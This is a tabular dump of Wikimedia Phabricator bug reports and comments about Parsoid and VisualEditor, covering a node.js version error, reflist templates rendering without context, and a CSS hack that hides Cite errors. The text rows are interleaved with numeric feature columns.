I copied the api/localsettings.js.example to api/localsettings.js and changed the localhost to the IP address. Debug options is uncommented. Others remain the same.

That is all I have done to the whole Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC",Medium,50.0,1373507520,1373610519.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-l5pjiw32hngnewgrmmmy,task_description,declined,True,c1,3,False,False,True,1,,0.3333333333333333,0.16666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.1666666666666667,0.3333333333333333,0.0,0.0,0.0,0.5,0.3333333333333333,0.0,0.16666666666666666,0.16666666666666666,2.3333333333333335,0.0,2.3333333333333335,5.333333333333333,0.16666666666666666,0.5,0.0,0.0,0.16666666666666666,1.6666666666666667,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,2.1666666666666665,0.6666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.16666666666666666,2.8333333333333335,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.5,0.3333333333333333,0.0,0.16666666666666666,0.0,0.0,0.0,0.8333333333333334,0.5,0.0,0.16666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,10.5,0.5,1.1666666666666667,2.8333333333333335,0.0,0.0,0.0,0.0,0.8333333333333334,0.0,0.5,0.0,2.5,5.333333333333333,19.666666666666668,0.0,0.6666666666666666,0.0,2.5,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.9705254327766344,0.48021047815145274,"**Author:** CODE

**Description:**
I have just installed Parsoid for my private MediaWiki. However when I try to use VisualEditor, I got parsoidserver-http-bad-status: 500. Then I had checked localhost:8000, and that page displays correctly, but URL does not work as expected, and some error messages are thrown out.

 TypeError: Cannot set property '0' of null
    at Object.WikiConfig (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.WikiConfig.js:52:29)
    at Function.MWParserEnvironment.getParserEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/lib/mediawiki.parser.environment.js:268:16)
    at getParserServiceEnv (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:365:22)
    at app.post.oldid (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/api/ParserService.js:629:2)
    at callbacks (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:272:11)
    at param (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:246:11)
    at pass (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:253:5)
    at Router._dispatch (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:280:5)
    at Object.Router.middleware [as handle] (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/lib/router/index.js:45:10)
    at next (/var/www/localhost/htdocs/wiki/extensions/Parsoid/js/node_modules/express/node_modules/connect/lib/http.js:204:15)

My OS is Gentoo Linux with everything up-to-date.

I fetched the Parsoid extension by using git.

I have once tried to install nodejs by compiling the source code, but failed due to ""Syntax error"" when running ./configure . Then I had checked my OS repo, and found out that there is only net-libs/nodejs with no npm. I installed that.

net-libs/nodejs Installed versions:  0.10.8^t(19:04:51 07/10/13)
(masked by default, I unmasked that.)

And the remaining installation process are with no error.

I copied the api/localsettings.js.example to api/localsettings.js and changed the localhost to the IP address. Debug options is uncommented. Others remain the same.

That is all I have done to the whole Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC"
231553,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"**stephdechine** wrote:

(In reply to comment #2)
> I also see that you are using Node 0.10.8.  Note that currently Parsoid only
> supports node 0.8
> (http://www.mediawiki.org/wiki/Parsoid#Use_node.js_0.8.2C_not_0.10)

Thank you for pointing out that. After I downgrade node.js to 0.8.23 everything works correctly. My fault. That works for me.",,,1373610519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,False,,,1,,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,17.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,8.0,17.0,6.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.5208333333333335,0.7083333333333334,"**stephdechine** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Thank you for pointing out that. After I downgrade node.js to 0.8.23 everything works correctly. My fault. That works for me."
231547,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,I also see that you are using Node 0.10.8.  Note that currently Parsoid only supports node 0.8 (http://www.mediawiki.org/wiki/Parsoid#Use_node.js_0.8.2C_not_0.10),,,1373558667,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,10.0,10.0,19.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9047619047619047,0.9523809523809523,I also see that you are using Node 0.10.8.  Note that currently Parsoid only supports node 0.8 (URL
231541,Print helpful 'your API is not reachable' message instead of TypeError: Cannot set property '0' of null at Object.WikiConfig,"Your wiki API is not reachable from the Parsoid machine. Configure it correctly in localsettings.js and verify that it is indeed reachable using wget, curl, w3m or any other tool of your choice.

Example commandline:

curl <yourApiURL>

We should probably print this information when the config request fails. Repurposing this bug for that.",,,1373556483,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-l5pjiw32hngnewgrmmmy,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,11.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,11.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,4.409090909090909,0.803030303030303,"Your wiki API is not reachable from the Parsoid machine. Configure it correctly in localsettings.js and verify that it is indeed reachable using wget, curl, w3m or any other tool of your choice.

Example commandline:

curl <yourApiURL>

We should probably print this information when the config request fails. Repurposing this bug for that."
53148,VisualEditor: Newline migration issue,"As discovered in bug 50120, we need to find out what this is and fix it.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373503560,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ki7bzkbyld2qdm75nyap,task_description,open,True,c1,3,True,False,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.75,"As discovered in bug 50120, we need to find out what this is and fix it.

--------------------------
**Version**: unspecified
**Severity**: normal"
512010,VisualEditor: Newline migration issue,"@Jdforrester-WMF, can we close this? T52120 has been resolved.",,,1440107033,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ki7bzkbyld2qdm75nyap,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,"SCREEN_NAME-WMF, can we close this? T52120 has been resolved."
496798,VisualEditor: Newline migration issue,"@Jdforrester-WMF, can we close this? T52120 has been resolved.",,,1437781492,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ki7bzkbyld2qdm75nyap,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,"SCREEN_NAME-WMF, can we close this? T52120 has been resolved."
53146,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit","From English Wikipedia:

I've not yet done a lot with refs and reflists (a lot of my work is stub-sorting where it rarely crops up) but.... 

Editing Howard Wilson Elementary School I changed the number of columns of {{reflist}} from 2 to 1 (there's only one ref and it looks daft over 2 cols). The whole reflist disappeared, while I stayed in VE - see edit summary. On saving the page, it was there all present and correct.

This is one of several instances where VE alarms the editor: if it's supposed to be a Visual Editor, it needs to reflect changes made and not give the impression that the template has been deleted. Worrying enough for an experienced editor - totally offputting for someone new.

Apologies if this exact problem, or a more generalised case, is already tracked. PamD 16:38, 9 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373500740,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nphxjkvvi4eszdxix7bq,task_description,open,True,c1,3,False,False,,1,,1.0,0.5,0.5,1.0,1.0,5.5,1.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.5,2.0,0.5,6.5,10.0,0.5,1.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,13.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.5,0.5,1.0,0.0,0.5,1.0,0.0,0.0,5.5,3.0,12.5,3.0,3.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,0.0,4.5,10.0,5.5,0.0,0.0,0.0,4.5,0.0,1.0,2.5,0.0,2.0,0.5,0.0,0.0,3.788188002473717,0.751185322613894,"From English Wikipedia:

I've not yet done a lot with refs and reflists (a lot of my work is stub-sorting where it rarely crops up) but.... 

Editing Howard Wilson Elementary School I changed the number of columns of {{reflist}} from 2 to 1 (there's only one ref and it looks daft over 2 cols). The whole reflist disappeared, while I stayed in VE - see edit summary. On saving the page, it was there all present and correct.

This is one of several instances where VE alarms the editor: if it's supposed to be a Visual Editor, it needs to reflect changes made and not give the impression that the template has been deleted. Worrying enough for an experienced editor - totally offputting for someone new.

Apologies if this exact problem, or a more generalised case, is already tracked. PamD 16:38, 9 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal"
489986,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",">>! In T53146#1442033, @Esanders wrote:
> Where is the bug to move all the functionality over to the <references> tag making {{reflist}} redundant?

https://phabricator.wikimedia.org/maniphest/query/7.xI5WLmYTc1/#R pffers some tasks about //specific// (not: //all//) functionality...",,,1436532828,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,105,,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.529411764705882,0.9411764705882353,"QUOTE
QUOTE

URL pffers some tasks about //specific// (not: //all//) functionality..."
489448,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",Where is the bug to move all the functionality over to the <references> tag making {{reflist}} redundant?,,,1436461261,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,105,,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,3.7083333333333335,0.7916666666666666,Where is the bug to move all the functionality over to the <references> tag making {{reflist}} redundant?
231122,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit","(In reply to James Forrester from comment #2)
> This will be fixed when we switch over to Parsoid rendering the templates
> mid-edit rather than rely on PHP parser.

As follow-up, right now we don't have a way to give context to Parsoid, so when parsing a template that generates part of a wider structure – e.g. a cell, row or section of a table – we just give the template itself, contextless.

This means that Parsoid (correctly) returns a fostered-out block, which we (correctly) splice into the location, meaning the document looks very odd. However, it saves fine.

In the future we'd need a way to tell Parsoid that ""this is an update to transclusion id=1234 in structure id=4321"" or something so Parsoid has context; I assume this will need to wait until Parsoid puts GUIDs into the source for us.",,,1405353588,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,54,,0.0,0.5,0.5,0.0,0.5,2.0,0.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,3.5,0.0,6.5,11.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,6.5,2.0,1.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.5,0.5,13.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,7.5,0.5,9.0,1.5,1.0,10.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,4.5,11.5,4.5,0.0,1.5,0.0,4.5,0.0,1.5,4.5,1.0,1.0,0.5,0.0,0.0,3.7495004995005,0.7550782550782551,"(In reply to James Forrester from comment #2)
QUOTE
QUOTE

As follow-up, right now we don't have a way to give context to Parsoid, so when parsing a template that generates part of a wider structure – e.g. a cell, row or section of a table – we just give the template itself, contextless.

This means that Parsoid (correctly) returns a fostered-out block, which we (correctly) splice into the location, meaning the document looks very odd. However, it saves fine.

In the future we'd need a way to tell Parsoid that ""this is an update to transclusion id=1234 in structure id=4321"" or something so Parsoid has context; I assume this will need to wait until Parsoid puts GUIDs into the source for us."
231112,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",*** Bug 67856 has been marked as a duplicate of this bug. ***,,,1405107160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 67856 has been marked as a duplicate of this bug. ***
231103,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",This will be fixed when we switch over to Parsoid rendering the templates mid-edit rather than rely on PHP parser.,,,1374270748,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,17.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.130434782608695,1.0,This will be fixed when we switch over to Parsoid rendering the templates mid-edit rather than rely on PHP parser.
231094,"VisualEditor: Parsoid's render of {{reflist}} has no context, so no references appear; similarly, edited templates inside structures, look odd on edit",Confirmed. This one's especially annoying given how common {{reflist}} is. See also bug 50075 (which I was no longer able to reproduce).,,,1373774352,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-nphxjkvvi4eszdxix7bq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.59375,0.875,Confirmed. This one's especially annoying given how common {{reflist}} is. See also bug 50075 (which I was no longer able to reproduce).
53141,VisualEditor: Nicer removal of Cite.php's class=error,"Currently this is really ugly; Trevor's better class will help, but in general we want to do this better.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373497500,1645470453.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_description,resolved,True,c1,3,True,False,False,1,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.7317073170731707,"Currently this is really ugly; Trevor's better class will help, but in general we want to do this better.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1868378,VisualEditor: Nicer removal of Cite.php's class=error,"Change 763101 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
https://gerrit.wikimedia.org/r/763101",,,1645468531,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,False,,,451,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.03125,0.78125,"Change 763101 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
GERRIT_URL"
1865304,VisualEditor: Nicer removal of Cite.php's class=error,"Change 763101 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
https://gerrit.wikimedia.org/r/763101",,,1644991783,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,False,,,450,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,4.7105263157894735,0.8421052631578947,"Change 763101 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/Cite@master] Remove hack that hides ref errors unnecessarily%%%
GERRIT_URL"
255328,VisualEditor: Nicer removal of Cite.php's class=error,"(In reply to James Forrester from comment #3)
> Sorry!
> 
> This refers to the hacky fix for bug 50423 which added (eventually):
> 
>   /* HACK: Hide Ref errors in templates */
>   .mw-ext-cite-error {
> 	display: none;
>   }
> 
> … to ve.ce.MWReferenceNode.css
> 
> This bug is asking for a way for these errors to not be shown that doesn't
> just suppress the conent (they're caused by the templates rendering out of
> context).

I guess we could send some 'nocontext' parameter in the HTTP request which would suppress errors based on missing information... Sounds like it would be even worse than the current solution though.",,,1410824403,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,63,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,9.0,20.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.8157894736842106,0.618421052631579,"(In reply to James Forrester from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I guess we could send some 'nocontext' parameter in the HTTP request which would suppress errors based on missing information... Sounds like it would be even worse than the current solution though."
255318,VisualEditor: Nicer removal of Cite.php's class=error,"Sorry!

This refers to the hacky fix for bug 50423 which added (eventually):

  /* HACK: Hide Ref errors in templates */
  .mw-ext-cite-error {
	display: none;
  }

… to ve.ce.MWReferenceNode.css

This bug is asking for a way for these errors to not be shown that doesn't just suppress the conent (they're caused by the templates rendering out of context).",,,1410216270,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ny6m4ujfqwfjm6dzcxsg,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,5.0,1.0,2.0,0.0,1.0,12.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,3.642857142857143,0.7738095238095238,"Sorry!

This refers to the hacky fix for bug 50423 which added (eventually):

  /* HACK: Hide Ref errors in templates */
  .mw-ext-cite-error {
	display: none;
  }

… to ve.ce.MWReferenceNode.css

This bug is asking for a way for these errors to not be shown that doesn't just suppress the conent (they're caused by the templates rendering out of context)."
